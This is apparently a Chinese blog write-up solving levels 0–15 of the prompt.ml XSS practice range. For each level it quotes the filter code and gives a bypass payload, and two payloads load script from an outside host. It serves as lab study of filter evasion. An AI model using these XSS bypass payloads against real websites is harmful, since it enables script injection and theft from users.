0%

XSS靶场练习(一)

一直对XSS了解的不够深,找了一个平台来练习下,目的是执行prompt(1)

第0关

没有任何过滤,直接闭合标签即可
Payload:

1
"><script>prompt(1)</script>

第1关

源码

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

可以看到加了一个正则,来过滤了形如<xxx>的内容,可以使用注释符号//来绕过,借助onload事件来执行代码

1
<body onload=prompt(1)//

第2关

源码

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

根据正则,可以判断过滤了(=两个字符,可以使用编码绕过,但是我直接使用

1
<script>&#112;&#114;&#111;&#109;&#112;&#116;&#40;&#49;&#41;</script>

不能成功,在前面加了一个svg标签就可以了。

1
<svg><script>&#112;&#114;&#111;&#109;&#112;&#116;&#40;&#49;&#41;</script>

找到了一个解释

http://pupiles.com/xss.html

后面仔细研究下HTML的解析流程。

第3关

源码

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

使用正则将->替换为_
在这里用到了HTML5中的一个trick,可以使用--!>来闭合注释
Payload:

1
--!><script>prompt(1)</script>

第4关

源码

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这个折腾了好久没做出来,看了下Writeup,利用URL的组成来绕过正则的检测,不过已经在最新版Chrome和Firefox上失效了。

1
http://prompt.ml%2f@test.mengsec.com/1.js

第5关

源码

1
2
3
4
5
6
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}

正则匹配>onxxx=或者focus之类的字符,修饰符i匹配大小写,修饰符g全局匹配。
HTML中,换行符等空白字符不会影响HTML解析。
又因为浏览器默认解析第一个type,因此可以使用构造payload

1
2
"type="image"  src=233  onerror 
="prompt(1)

第6关

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

整个代码就是根据输入来构造一个表单,源码中给了一个例子http://httpbin.org/post#{"name":"Matt"},输入之后,生成的代码为:

1
2
3
4
5
6
7
8
<form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

可以认为,在这个表单中,actionnamevalue可控。
在这里用到了一个小trick,先上代码

1
2
3
4
<form action="javascript:prompt(1)" method="post"><input name="123" value="233"></form>         
<script>
alert(document.forms[0].action);
</script>

1
2
3
4
5
<form action="javascript:prompt(1)" method="post"><input name="action" value="233"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
alert(document.forms[0].action);
</script>


从上面两段代码中,我们可以知道,action会优先指向nameaction的子tag
因此可以构造Payload

1
javascript:prompt(1)#{"action":"233"}

第7关

源码

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contsain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

代码中使用title.slice(0, 12)限定了title长度为12。但是在前面又使用了#作为分割符,可以通过JavaScript的多行注释符来绕过。

Payload

1
"><script>/*#*/prompt(/*#*/1)/*#*/</script>

第8关

源码

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

想要执行代码,需要换行来跳出注释符的范围,从正则中可以看到,代码过滤了\r\n两种换行符,还过滤了</"

在这里使用了unicode编码的注释符来绕过。

Javascript中的特殊字符。

Unicode 字符值 转义序列 含义 类别
\u0008 \b Backspace
\u0009 \t Tab 空白
\u000A \n 换行符(换行) 行结束符
\u000B \v 垂直制表符 空白
\u000C \f 换页 空白
\u000D \r 回车 行结束符
\u0022 \” 双引号 (“)
\u0027 \’ 单引号 (‘)
\u005C \ 反斜杠 ()
\u00A0 不间断空格 空白
\u2028 行分隔符 行结束符
\u2029 段落分隔符 行结束符
\uFEFF 字节顺序标记 空白

构造payload

网上wp上说是可以使用\u2028或者\u2029来绕过上述限制,不过没复现成功。

第9关

源码

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

可以看到,代码将输入的字符进行了一个toUpperCase()操作,在这里用到了一个小trick


这涉及到了JavaScript的一个特性

1
2
3
4
5
6
7
toUpperCase():
ı ==>I
ſ ==>S

toLowerCase():
İ ==>i
K ==>k

因此可以构造payload

1
<ſcript src=//test.mengsec.com/1.js></ſcript>

第10关

源码

1
2
3
4
5
6
7
8
9
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

这个题倒是蛮简单的,将输入的prompt替换成了alert,然后将单引号替换为空了。
直接构造payload

1
pro'mpt(1)

第11关

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

在这里使用了in运算符

1
"(prompt(1))in"

通过前后的双引号来闭合字符串,借助in运算符来执行js代码。
虽然有报错,但是代码还是成功执行了

1
Uncaught TypeError: "Welcome back, " is not a function

第12关

源码

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

代码很明确,先过滤了单引号,又将prompt替换成了alert,在这里用到了一个小trick,借助parseInt方法,将字符串prompt作为36进制转换为数字,然后通过eval来执行toString来绕过代码中对prompt的过滤。

可得payload

1
2
parseInt("prompt",36) ==> 1558153217
eval((1558153217).toString(36))(1)

第13关

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

简单分析一下代码,输入的需要是一个json字符串,在该json中,需要有一个键为source的键值对,而且它的值中只能有大小写字母数字和特殊符号./:,否则会被删除。然后将source的值替换img标签中的_posts/prompt1_to_win.md,然后过滤掉双引号。

在这里用到了JavaScript__proto__,它是对象的一个属性,用来标识对象本身所继承的原型。
当某个对象的属性无法找到时,JavaScript会从它的__proto__属性指向的原型中寻找该属性。
当我们输入

1
{"source":"不符合正则的字符串","__proto__":{"source":"exp"}}

这样就成功绕过了正则的检测,但是后面还对双引号进行了过滤,这里用到了另一个trick
看手册

测试一下

因此,我们可以利用$\\来传入一个",从而闭合标签。
构造Payload

1
{"source":"!!","__proto__":{"source":"$`onerror=prompt(1)>"}}

成功执行代码。

第14关

源码

1
2
3
4
5
6
7
8
9
10
11
12
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}

首先将输入使用方法toUpperCase()进行了处理,然后通过正则限定了协议为data:,在后面又过滤了多个特殊符号,将其替换为了_

1
\ & + % 空白符 换行符等

直接就想到了base64编码,但是toUpperCase()将所有的字母变成了大写,不太好办。
看wp是直接构造了一个base64编码后全部为大写的payload,没整出来。

第15关

源码

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

说是level 7的升级版,结合svg标签和注释符<!-- -->
构造Payload

1
"><svg><!--#--><script><!--#-->prompt(<!--#-->1)</script>